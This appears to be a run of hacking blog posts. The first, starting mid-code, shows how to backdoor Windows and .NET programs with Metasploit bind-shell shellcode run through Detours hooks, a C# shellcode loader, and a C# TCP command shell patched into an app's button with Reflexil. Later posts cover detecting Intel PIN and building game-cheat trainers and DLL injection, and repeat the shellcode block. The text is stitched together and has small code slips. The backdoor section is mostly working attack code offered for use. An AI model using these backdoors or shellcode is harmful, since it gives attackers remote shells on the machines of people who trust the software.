		"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57"
		"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"
		"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"
		"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0"
		"\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xaa\xc5"
		"\xe2\x5d\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb"
		"\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

		// this shit wont work with DEP enabled systems cuz this executes directly on the stack. 
		// need to alloc some memory, mark it RWE
		void *exec = VirtualAlloc(0, sizeof b, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		memcpy(exec, buf, sizeof buf);
		((void(*)())exec)();

	return 4;
}
extern "C" __declspec(dllexport) void DoNothingAlready(void)
{
	DWORD ayylmao = 20345;
	_asm
	{
		xor eax, eax
			xor ecx, ecx
			mov eax, ayylmao
			mov ecx, 0
		testd:
		fnop
			inc ecx
			cmp eax, ecx
			jnz testd
			pop ebx
			nop
	}
	return;
}

BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
{
	if (DetourIsHelperProcess()) {
		return TRUE;
	}

	if (dwReason == DLL_PROCESS_ATTACH) {
		DetourRestoreAfterWith();
		DetourTransactionBegin();
		DetourUpdateThread(GetCurrentThread());
		DetourAttach(&(PVOID&)FuncToDetour, MyFunc);
		DetourTransactionCommit();
	}
	else if (dwReason == DLL_PROCESS_DETACH) {
		DetourTransactionBegin();
		DetourUpdateThread(GetCurrentThread());
		DetourDetach(&(PVOID&)FuncToDetour, MyFunc);
		DetourTransactionCommit();
	}
	return TRUE;
}

You’ll notice how we don’t directly place our shellcode in the stack. This is because doing so will fail. Modern Windows employs the use of Data Execution Prevention (DEP) which prevents execution in the stack. To get around this, we allocate a chunk of memory and mark it read write execute. We’ll be doing the same thing with .net.

So our code is short and sweet. Running audacity with our launcher and hitting the about box, we see audacity open port 8080.
audacity
Sure enough here’s our shell on port 8080.
audacity_3

As an added bonus, I’m going to go over backdooring a .Net class library / .net executable. I will be using Red Gate Reflector and the reflector plugin Reflexil. Reflexil also works for IlSpy as well if you’re cheap and like free stuff. DnSpy doesn’t work for my examples because its a piece of shit.

The obvious thing that comes to mind is “joe, how in the hell are we supposed to inline shellcode for a backdoor into a managed language that doesn’t even support inline assembly?” and to that I say good point. But there’s more than one way to skin a cat.

There are 2 ways to run shellcode in a C# application. The first way is to use C and inline assembly and pointers and such, then compile your code as a dll and call the dll from within your C# application. Imagine calling a dll within a dll. Inception and shit.
1265818648499
The other way to do it is:

  • Define an array of bytes (our shellcode)
  • Allocate a chunk of memory (length of shellcode)
  • Set the memory protection flags on the chunk as Read Write Execute
  • Write the array of bytes (our shellcode) into this same allocated chunk
  • Create a thread, setting the ‘LpStartAddress’ to our chunk of memory.

Side note – there are 2 other variations on this that have similar results. We could call CreateRemoteThread and inject into an already running process such as the host process or explorer or whatever. We could also create a suspended process of something (svchost.exe, or whatever) and write our code in there. In fact that’s how JoeCrypt works with its wrapper around executables.
1463598483447

First things first, we need some shellcode. In following with the ‘backdoor’ theme, I’m choosing a simple single stage TCP bind shell. MSF is nice enough to provide us with a C# output via its ‘generate’ application. Thanks HDM. csharp_shellcodezbig_red_button

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;

namespace WindowsFormsApplication1
{
    public partial class Form1 : Form
    {
        [Flags]
        public enum AllocationType
        {
            Commit = 4096,
            Reserve = 8192,
            Decommit = 16384,
            Release = 32768,
            Reset = 524288,
            Physical = 4194304,
            TopDown = 1048576,
            WriteWatch = 2097152,
            LargePages = 536870912
        }
        public enum AllocationProtect : uint
        {
            PAGE_NOACCESS = 1u,
            PAGE_READONLY,
            PAGE_READWRITE = 4u,
            PAGE_WRITECOPY = 8u,
            PAGE_EXECUTE = 16u,
            PAGE_EXECUTE_READ = 32u,
            PAGE_EXECUTE_READWRITE = 64u,
            PAGE_EXECUTE_WRITECOPY = 128u,
            PAGE_GUARD = 256u,
            PAGE_NOCACHE = 512u,
            PAGE_WRITECOMBINE = 1024u
        }
 /* msf payload(shell_bind_tcp) > generate -t csharp
  * 
  * windows/shell_bind_tcp - 328 bytes
  * http://www.metasploit.com
  * VERBOSE=false, LPORT=1337, RHOST=0.0.0.0, 
  * PrependMigrate=false, EXITFUNC=thread, 
  * InitialAutoRunScript=, AutoRunScript=
  */
        byte[] buf = new byte[328] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,
0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x08,0x59,0x50,0xe2,0xfd,0x40,0x50,0x40,
0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x68,0x02,0x00,0x05,0x39,0x89,
0xe6,0x6a,0x10,0x56,0x57,0x68,0xc2,0xdb,0x37,0x67,0xff,0xd5,0x57,0x68,0xb7,
0xe9,0x38,0xff,0xff,0xd5,0x57,0x68,0x74,0xec,0x3b,0xe1,0xff,0xd5,0x57,0x97,
0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x68,0x63,0x6d,0x64,0x00,0x89,0xe3,0x57,
0x57,0x57,0x31,0xf6,0x6a,0x12,0x59,0x56,0xe2,0xfd,0x66,0xc7,0x44,0x24,0x3c,
0x01,0x01,0x8d,0x44,0x24,0x10,0xc6,0x00,0x44,0x54,0x50,0x56,0x56,0x56,0x46,
0x56,0x4e,0x56,0x56,0x53,0x56,0x68,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x89,0xe0,
0x4e,0x56,0x46,0xff,0x30,0x68,0x08,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xe0,0x1d,
0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,
0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5 };

        [DllImport("Kernel32.dll")]
        private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param,
           UInt32 dwCreationFlags, ref UInt32 lpThreadId );

        [DllImport("Kernel32.dll")]
        private static extern IntPtr OpenProcess(uint lol, int int_0, int int_1);
     
        [DllImport("Kernel32.dll", ExactSpelling = true, SetLastError = true)]
        private static extern IntPtr VirtualAllocEx(IntPtr intptr_0, IntPtr intptr_1, IntPtr intptr_2, AllocationType allocationType_0, AllocationProtect allocationProtect_0);

        [DllImport("Kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
          byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesWritten);

        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            System.Diagnostics.Process olo = System.Diagnostics.Process.GetCurrentProcess();
            int pid = olo.Id;
            IntPtr hProcess = OpenProcess(0x001F0FFF, 0, pid);
            if (hProcess == IntPtr.Zero)
            {
                throw new Exception("Could not open process ID " + pid + ", are you running as an admin?");
            }
            IntPtr intPtr = VirtualAllocEx(hProcess, IntPtr.Zero, (IntPtr)buf.Length,
            AllocationType.Commit | AllocationType.Reserve, AllocationProtect.PAGE_EXECUTE_READWRITE);
            int zero = 0;
            IntPtr kek = IntPtr.Zero;
            WriteProcessMemory(hProcess, intPtr, buf, buf.Length, ref zero);
            UInt32 tid = 0;
            CreateThread(0, 0, intPtr, kek, 0, ref tid);
        }
    }
}

Now that we have our app, how do we get it into an existing managed library? Same way we do it with regular .net exes? Haven’t I been over this subject before?

So how do we inject into a managed dll? We don’t. Reflexil doesn’t allow the use of the ‘dllimport’ directive in its generated code. It fails to add a proper reference in the .net metadata section for imported dll references. It looks like it would work at first, producing what looks like working MSIL code: reflexil_rocks But oh no it doesn’t work. This is a reflexil bug.
fuck

Well fuck. What can we do? I tried with DnSpy, but god damn, same problem.
1473388832060
We could always just compile our code as a dll and straight up replace it with the name of another C# class library. So how could we technically backdoor a C# dll? We would have to look for unsafe calls to Assembly.LoadFile or Assembly.LoadFrom and ensure our dll is called instead. As for backdooring a .net exe, your best bet looks like total replacement of the exe if we do it this way.

There is another way however. We don’t need shellcode to pop a shell – the .net framework should have everything we need. Luckily for us in C#, spawning a remote socket and process is trivial.

using System;
using System.Threading;
using System.IO;
using System.Net;
using System.Net.Sockets;

namespace ServerApp
{   
    class Program
    {
        static void Main(string[] args)
        {
            int PortNo = 31337;
            TcpListener servListener;
            servListener = new TcpListener(IPAddress.Any, PortNo);
            servListener.Start();
            while (true)
            {
                Socket rocksock = servListener.AcceptSocket();
                try
                {
                    Stream dastream = new NetworkStream(rocksock);
                    StreamReader sr = new StreamReader(dastream);
                    StreamWriter sw = new StreamWriter(dastream);
                    sw.AutoFlush = true;
                    sw.WriteLine("Joe's C# TCP Shell!!");
                    while (true)
                    {
                        string command = sr.ReadLine();
                        if (command == "" || command == null)
                        {
                            sw.WriteLine("Command not entered!");
                            break;
                        }
                        System.Diagnostics.Process kek = new System.Diagnostics.Process();
                        kek.StartInfo.FileName = "cmd.exe";
                        kek.StartInfo.RedirectStandardOutput = true;
                        kek.StartInfo.Arguments = "/c " + command;
                        kek.StartInfo.UseShellExecute = false;
                        kek.Start();
                        sw.WriteLine("entered command {0}", command);
                        sw.WriteLine("output: {0}", kek.StandardOutput.ReadToEnd());
                    }
                    dastream.Close();
                }
                catch (Exception e)
                {
                    Console.WriteLine(e.Message);
                }
                rocksock.Close();
            }
           
        }
        
    }
}

We have our code, we now need a .net app to cram it into. I couldn’t find a suitable class library, so a .net app will do for our example:
hasher_patched

We’re going to backdoor my JoeHasher app. Loading the thing into Reflector, we locate the method associated with ‘cancel’ and see its for a background worker cancellation instructions. This is a suitable spot. backdoor_csharp_2

Select the method in the tree view, bring up Reflexil from the file menu (tools->Reflexil), right click and select “Replace all with code”.

When we have the compiler menu, we are going to be placing our code in the method ‘btnCancel_Click’. Reflexil is nice enough to leave the other areas alone and only mess with this method.reflexil_23

Now we need to throw our code inside. Reflexil is finicky with its code in that it wants absolute object names. Here it’s complaining about not being able to find my objects.
reflex_it

This is fixed by using the absolute names. So like instead of TcpListener you go System.Net.Sockets.TcpListener. Do this for the other objects in the method and Reflexil will be satisfied.
absolut

Now press ‘ok’ and right click on the module in the tree menu, choose the Reflexil menu, then click ‘Save as…’. This will save our work.

Running our patched ‘JoeHasher’ app and clicking the ‘Cancel’ button does exactly what we want, spawns a shell on port 31337.

backdoored_csharp_bin

Connect to the fucker with Putty and we have our shell:
putty

putty2

So that’s how you backdoor a .net binary. For a .net class library, you do the exact same – find a method that looks suitable, and replace with your backdooring code. Shellcode is nice, but not necessary for our needs of spawning a cmd shell.

Hope you all learned something. Attached here are all the files. The detours launcher, dll, source for both, the C# shellcode app and source, the C# cmd shell app / source, and the backdoored c# hasher / regular hasher thingy.

Happy hacking!

1472499021034

Intel PIN, Cheatz, Hax, And Detection Part 1

$
0
0

4711061214222e668c836f
Herro!

It’s been a while, but I’m still kicking. I got some new stuff to talk about. Specifically the binary instrumentation utility ‘PIN’ from Intel. We’re going to go over taking full advantage of this tool to cheat at games, unpack malwarez, and how to detect if your app is being run via PIN.

Part 1 of this series will be on detection of PIN.

For those who don’t know, the egg heads over at Intel have invented a binary instrumentation framework that allows for the manipulation of programs without source code. Remember detours? Same thing sort of, just cheaper (free), more documentation, and cross platform (Linux, Windows, ARM, android, etc).

PIN allows me to monitor programs, break them, fix them without having source. I will cover more about this in my next sections. As I was playing with PIN, I was wondering to myself, “how could software detect the presence of PIN?”. After all, shared objects / dll’s import from something called ‘pinvm’.
mods-again.

You run programs within PIN which then seems to launch as a child process.
pin1

Then it hit me – Enumerate the loaded modules for the pin module. Sounds simple enough right? Easy as hell with code:

        private void Form1_Load(object sender, EventArgs e)
        {
            Process Proc = Process.GetCurrentProcess();
            ProcessModuleCollection col = Proc.Modules;
            foreach (ProcessModule fuck in col)
            {
                tbf.Text += "Process Mod: " + fuck.ModuleName + "\r\n";
                if(fuck.ModuleName.Contains("pinvm"))
                {
                    MessageBox.Show("I see PIN!");
                }
            }

        }

Unfortunately, life is never simple. As we can see, we don’t get anything back when running PIN in tandem with our .net app:
modules_dotnet

It’s missing the pinvm.dll module. Seems like it frees this module after loading.

I thought at first, maybe it’s a .net thing. Maybe I should try another way of enumerating process modules via the use of EnumProcessModules. Then I tried again with Module32First / Next. After that I said fuck it and enumerated the Process Environment Block’s LDR list. Again, no dice. Rather than clutter this blog post, I’ll just link the code here.

After some searching / head banging, I found exactly what I needed – a list of unloaded modules. Windows keeps track of all modules loaded and unloaded. It does this via the use of the API RtlGetUnloadEventTraceEx which is kind enough to store an array of structures that contain the modules we want. ProcessHacker has my back on this for example code, but it takes some serious hacking to get to work.

This is what i came up with (works with Visual Studio) for viewing unloaded modules.

#include <cstdio>
#include <vector>
#include <Windows.h>
#define 	PTR_ADD_OFFSET(Pointer, Offset)   ((PVOID)((ULONG_PTR)(Pointer) + (ULONG_PTR)(Offset)))

using pRtlGetUnloadEventTraceEx = void(NTAPI *)(_Out_ PULONG *ElementSize, _Out_ 
PULONG *ElementCount, _Out_ PVOID *EventTrace);
pRtlGetUnloadEventTraceEx RtlGetUnloadEventTraceEx = nullptr;

typedef struct _RTL_UNLOAD_EVENT_TRACE {
	PVOID BaseAddress;   // Base address of dll
	SIZE_T SizeOfImage;  // Size of image
	ULONG Sequence;      // Sequence number for this event
	ULONG TimeDateStamp; // Time and date of image
	ULONG CheckSum;      // Image checksum
	WCHAR ImageName[32]; // Image name
} RTL_UNLOAD_EVENT_TRACE, *PRTL_UNLOAD_EVENT_TRACE;

int main(int argc, char *argv[])
{
	HMODULE hModule = GetModuleHandle(L"ntdll.dll");
	RtlGetUnloadEventTraceEx =
		(pRtlGetUnloadEventTraceEx)GetProcAddress(hModule, "RtlGetUnloadEventTraceEx");
	if (RtlGetUnloadEventTraceEx == nullptr)
	{
		fprintf(stderr, "Could not retrieve RtlGetUnloadEventTraceEx. Error = %X\n",
			GetLastError());
		exit(-1);
	}
	NTSTATUS status;
	PULONG elementSize;
	PULONG elementCount;
	PVOID eventTrace;
	HANDLE processHandle = NULL;
	ULONG eventTraceSize;
	ULONG capturedElementSize;
	ULONG capturedElementCount;
	PVOID capturedEventTracePointer;
	PVOID capturedEventTrace = NULL;
	ULONG i;
	PVOID currentEvent;
	HWND lvHandle;
			RtlGetUnloadEventTraceEx(&elementSize, &elementCount, &eventTrace);
	OpenProcess((DWORD)&processHandle, PROCESS_VM_READ, GetCurrentProcessId());
	ReadProcessMemory(
		processHandle,
		elementSize,
		&capturedElementSize,
		sizeof(ULONG),
		NULL
		);
	ReadProcessMemory(
		processHandle,
		elementCount,
		&capturedElementCount,
		sizeof(ULONG),
		NULL
		);
	ReadProcessMemory(
		processHandle,
		eventTrace,
		&capturedEventTracePointer,
		sizeof(PVOID),
		NULL
		);
	if (!capturedEventTracePointer)
	{
		MessageBox(NULL, L"oops, no events", L"", 0);
	}
	if (capturedElementCount > 0x4000)
		capturedElementCount = 0x4000;

	eventTraceSize = capturedElementSize * capturedElementCount;
	capturedEventTrace = malloc(eventTraceSize);
	if (!capturedEventTrace)
	{
		MessageBox(NULL, L"oops, no events in trace", L"", 0);
	}
	ReadProcessMemory(
		processHandle,
		capturedEventTracePointer,
		capturedEventTrace,
		eventTraceSize,
		NULL
		);
	currentEvent = capturedEventTrace;

	for (i = 0; i < capturedElementCount; i++)
	{
		PRTL_UNLOAD_EVENT_TRACE rtlEvent = (PRTL_UNLOAD_EVENT_TRACE)currentEvent;
		INT lvItemIndex;
		WCHAR buffer[128];
		char * string;
		LARGE_INTEGER time;
		SYSTEMTIME systemTime;

		if (!rtlEvent->BaseAddress)
			break;

		fprintf(stdout, "Sequence: %u\r\n", rtlEvent->Sequence);
		fprintf(stdout, "Image Name: %s\r\n", rtlEvent->ImageName);
		fprintf(stdout, "Pointer: %x\r\n", rtlEvent->BaseAddress);
		fprintf(stdout, "Size of Image: %u\r\n", rtlEvent->SizeOfImage);
		fprintf(stdout, "Time stamp: %u\r\n", rtlEvent->TimeDateStamp);
		fprintf(stdout, "Checksum: %u\r\n", rtlEvent->CheckSum);
		
		currentEvent = PTR_ADD_OFFSET(currentEvent, capturedElementSize);
	}
	system("pause");
	return 0;
}

Process Hacker uses this code already when you look at loaded modules for applications running via PIN.
pin_process_hacker

Now that we know how to detect PIN, we can prevent its use.

for (i = 0; i < capturedElementCount; i++)
	{
		PRTL_UNLOAD_EVENT_TRACE rtlEvent = (PRTL_UNLOAD_EVENT_TRACE)currentEvent;
		INT lvItemIndex;
		WCHAR buffer[128];
		char * string;
		LARGE_INTEGER time;
		SYSTEMTIME systemTime;

		if (!rtlEvent->BaseAddress)
			break;
		if(strcmp(rtlEvent->ImageName,"pinvm.dll"))
		{
		ExitProcess(1);
		}
		
		currentEvent = PTR_ADD_OFFSET(currentEvent, capturedElementSize);
	}

PIN is an awesome tool with a variety of uses, but for this first blog I thought I’d see how we could detect its usage. presently I have never seen malware or legitimate software check for the use of PIN, but we’ll see.

Stay tuned for part 2 when we dive into using PIN to watch memory, access function calls and arguments, and generally be really good for debugging. We’ll do some malware, I swear.

Until then, happy hacking!

1477940576724

Intel PIN, Cheatz, Hax, And Detection Part 2

$
0
0

Hi!

Today I’m going to go over more on intel’s PIN, more on cheats, and less on detection since I already covered that. I feel like I’ve spent way too much time on this and it’s a huge turn off against my productivity. And of course, I commit to a talk and it HAS to be done. Blech. At least I can now work on the talk more.

As I’ve gone over before, PIN allows us to dynamically instrument programs without source code. The documentation is nice, but leaves some things to be desired. For example – how in the hell do you stop on a specific memory address rather than some API name?

Cheats and PIN.

Traditionally a cheat will make use of (WriteProcessMemory) or something similiar to ‘peek’ and ‘poke’ memory addresses and with values of our choice. Once we’ve established the right memory addresses and values of course, we write our 3rd party ‘helper’ app (trainer) that attaches to a game and does our peek / poke. Here is what a typical cheat looks like in C# for windows. C# because not everything has to be C/C++, and managed code is awesome for those kick ass easy guis:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace Trainer
{
    class Program
    {
        [DllImport("kernel32.dll")]
        internal static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead);
        
        [DllImport("kernel32.dll")]
        static extern bool CloseHandle(IntPtr hHandle);

        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(System.Int32 vKey);

        [DllImport("kernel32.dll")]
        static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        static int ProcID;
        static IntPtr Handle;

        public static class OutIgnore<T>
        {
            [ThreadStatic]
            public static T Ignored;
        }	
        public static void WriteMemory(int Address, byte[] data)
        {
            WriteProcessMemory(Handle, (IntPtr)Address, data, data.Length, out OutIgnore<IntPtr>.Ignored);
        }
		
        public static byte[] Read(IntPtr Address, int length)
        {
            byte[] ret = new byte[length];
            ReadProcessMemory(Handle, Address, ret, (UInt32)ret.Length, ref OutIgnore<uint>.Ignored);
            return ret;
        }
		
        public static int ReadInt32(IntPtr Address, int len)
        {
            return BitConverter.ToInt32(Read(Address, len), 0);
        }
		
        public static byte ByteReadOffset(IntPtr addr, int offset, int len)
        {
            int address = ReadInt32(addr, len);
            return Read((IntPtr)address + offset, 1)[0];
        }
		
        public static float FloatReadOffset(IntPtr addr, int offset, int len)
        {
            int address = ReadInt32(addr, len);
            byte[] naddr = Read((IntPtr)address + offset, sizeof(float));
            return BitConverter.ToSingle(naddr, 0);
        }
		
        public static int IntReadOffset(IntPtr addr, int offset, int len)
        {
            int address = ReadInt32(addr, len);
            byte[] naddr = Read((IntPtr)address + offset, sizeof(int));
            return BitConverter.ToInt32(naddr, 0);
        }
		
        public static void WriteOffset(IntPtr addr, int offset, byte[] res, int len)
        {
            int address = ReadInt32(addr, len);
            WriteMemory(address + offset, res);
        }
		
        static void Main(string[] args)
        {
            Console.WriteLine("Started. W8 process....");
            while (ProcID == 0)
            {
                foreach (Process id in Process.GetProcessesByName("AoK HD"))
                {
                    ProcID = id.Id;
                }
            }

            Handle = OpenProcess(0x001F0FFF, false, ProcID);

            
            bool makeitrain = false;
			
            Console.WriteLine("Injected");
			
            while (true)
            {
                string cmd = Console.ReadLine();

                if (cmd == "exit")
                    return;

                if (cmd == "makeitrain")
                {
                    makeitrain = (!makeitrain);
                    WriteMemory(0xA444A4, (!makeitrain) ? new byte[] { 0x0 } : new byte[] { 0x1 });
                }
                if (cmd == "get")
                {
                    Console.WriteLine("State: " + CPed.GetByteOffset(0x46F));
                    Console.WriteLine("Animation State: " + CPed.GetByteOffset(0x4DF));
                    Console.WriteLine("Gold: " + ReadInt32((IntPtr)0xB7CE50, 4));
                    
                }
            }
        }
    }
}

Your classic trainer in action – Find a memory address, poke it with a new value. Easy right? Can you guess the game? Hint: GetProcessesByName(“AoK HD”). That’s right, age of empires.

It’s pretty simple in action – writes itself directly to the address space of the process after opening a handle to it. This will work for a lot of games too. The problem is, many games no check for this sort of thing. We have to be more creative. But how?

Well, we could try DLL Injection. For those unfamiliar with DLL Injection, we basically write a dll, place code in the ‘DLL_PROCESS_ATTACH’ region, then when our dll is injected, our code is run in the address space of the game / process. This is a bonus because it makes the program think it belongs or something.

#include <windows.h>
#include <tlhelp32.h>
#include <Psapi.h>
#include <stdio.h> 

static const DWORD ammo = 0x0EB9B878;
HANDLE dllhandle = 0;

DWORD ThreadProc(LPVOID lpdwThreadParam);

MODULEINFO GetModuleInfo( char *szModule )
{
	MODULEINFO modinfo = {0};
	HMODULE hModule = GetModuleHandle(szModule);
	if(hModule == 0) 
		return modinfo;
	GetModuleInformation(GetCurrentProcess(), hModule, &modinfo, sizeof(MODULEINFO));
	return modinfo;
}

void WriteToMemory(DWORD* addressToWrite, char* valueToWrite, int byteNum)
{
	unsigned long OldProtection;
	VirtualProtect((LPVOID)(addressToWrite), byteNum, PAGE_EXECUTE_READWRITE, &OldProtection);
	memcpy( (LPVOID)addressToWrite, valueToWrite, byteNum);
	VirtualProtect((LPVOID)(addressToWrite), byteNum, OldProtection, NULL);
}


void ChangeMemory(DWORD baseadress, int value, DWORD offset1, DWORD offset2, BOOL msg)
{
	//DWORD d, ds;
	DWORD* adress = (DWORD*)((*(DWORD*)(baseadress + offset1)) + offset2);	
 
	if (msg)
	{
		char szTest[10] ;
		sprintf(szTest, "The final adress is : %X", adress);
		MessageBox(NULL,szTest , NULL, MB_OK);
	}
 
	*(int*)adress = value;
}

BOOL WINAPI DllMain
(
    HANDLE   hinstDLL,
    DWORD       fdwReason,
    LPVOID      lpvReserved
)
{
    if(fdwReason==DLL_PROCESS_ATTACH)
    {
 		DWORD threadId;
		dllhandle = hinstDLL;
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&ThreadProc, NULL, 0, &threadId);
	}
   
    return 1;
}
DWORD ThreadProc(LPVOID lpdwThreadParam)
{
	MODULEINFO mInfo = GetModuleInfo("fearxp.exe");
	DWORD base = (DWORD)mInfo.lpBaseOfDll;
	ChangeMemory(base,1234,ammo,ammo,FALSE);
   
    return 0;
}

The idea is pretty simple – poke a memory address after creating a new thread. The thread runs in the context of the running program. I know what you’re thinking – “Joe, isn’t this good enough for my cheats? surely the game won’t detect this? right?” and you’d be half right. Some game devs are clever assholes. We need to be more clever than them to inject code into their products and not have them caught. We can always use hooking and detours to do our injection.

Recall, I’ve talked about detours before. Yeah those, we can use those for game hacking. Given we have our function pointer address / memory address or function name, we can ‘detour’ to our code to peek / poke whatever address / value combo we want. Though I used detouring for more…evil purposes, however the concepts carry over.

#include "stdafx.h"
#include <windows.h>
#include <detours.h>
#pragma comment(lib, "detours.lib")

typedef void (WINAPI *pFunc)(void);
void WINAPI MyFunc(void);
pFunc FuncToDetour = (pFunc)(0x4BD11B); // Set it at address to detour in

void WINAPI MyFunc(void)
{
	MessageBox(NULL, L"NONO", L"TEST", MB_OK);
	unsigned char buf[] =
		"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
		"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
		"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
		"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
		"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
		"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
		"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
		"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
		"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
		"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
		"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
		"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"
		"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x1f\x90\x89"
		"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7"
		"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97"
		"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57"
		"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"
		"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"
		"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0"
		"\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xaa\xc5"
		"\xe2\x5d\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb"
		"\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
	
}
extern "C" __declspec(dllexport) void DoNothingAlready(void)
{
	DWORD ayylmao = 20345;
	_asm
	{
		xor eax, eax
			xor ecx, ecx
			mov eax, ayylmao
			mov ecx, 0
		testd:
		fnop
			inc ecx
			cmp eax, ecx
			jnz testd
			pop ebx
			nop
	}
	return;
}

BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
{
	if (DetourIsHelperProcess()) {
		return TRUE;
	}

	if (dwReason == DLL_PROCESS_ATTACH) {
		DetourRestoreAfterWith();
		DetourTransactionBegin();
		DetourUpdateThread(GetCurrentThread());
		DetourAttach(&(PVOID&)FuncToDetour, MyFunc);
		DetourTransactionCommit();
	}
	else if (dwReason == DLL_PROCESS_DETACH) {
		DetourTransactionBegin();
		DetourUpdateThread(GetCurrentThread());
		DetourDetach(&(PVOID&)FuncToDetour, MyFunc);
		DetourTransactionCommit();
	}
	return TRUE;
}

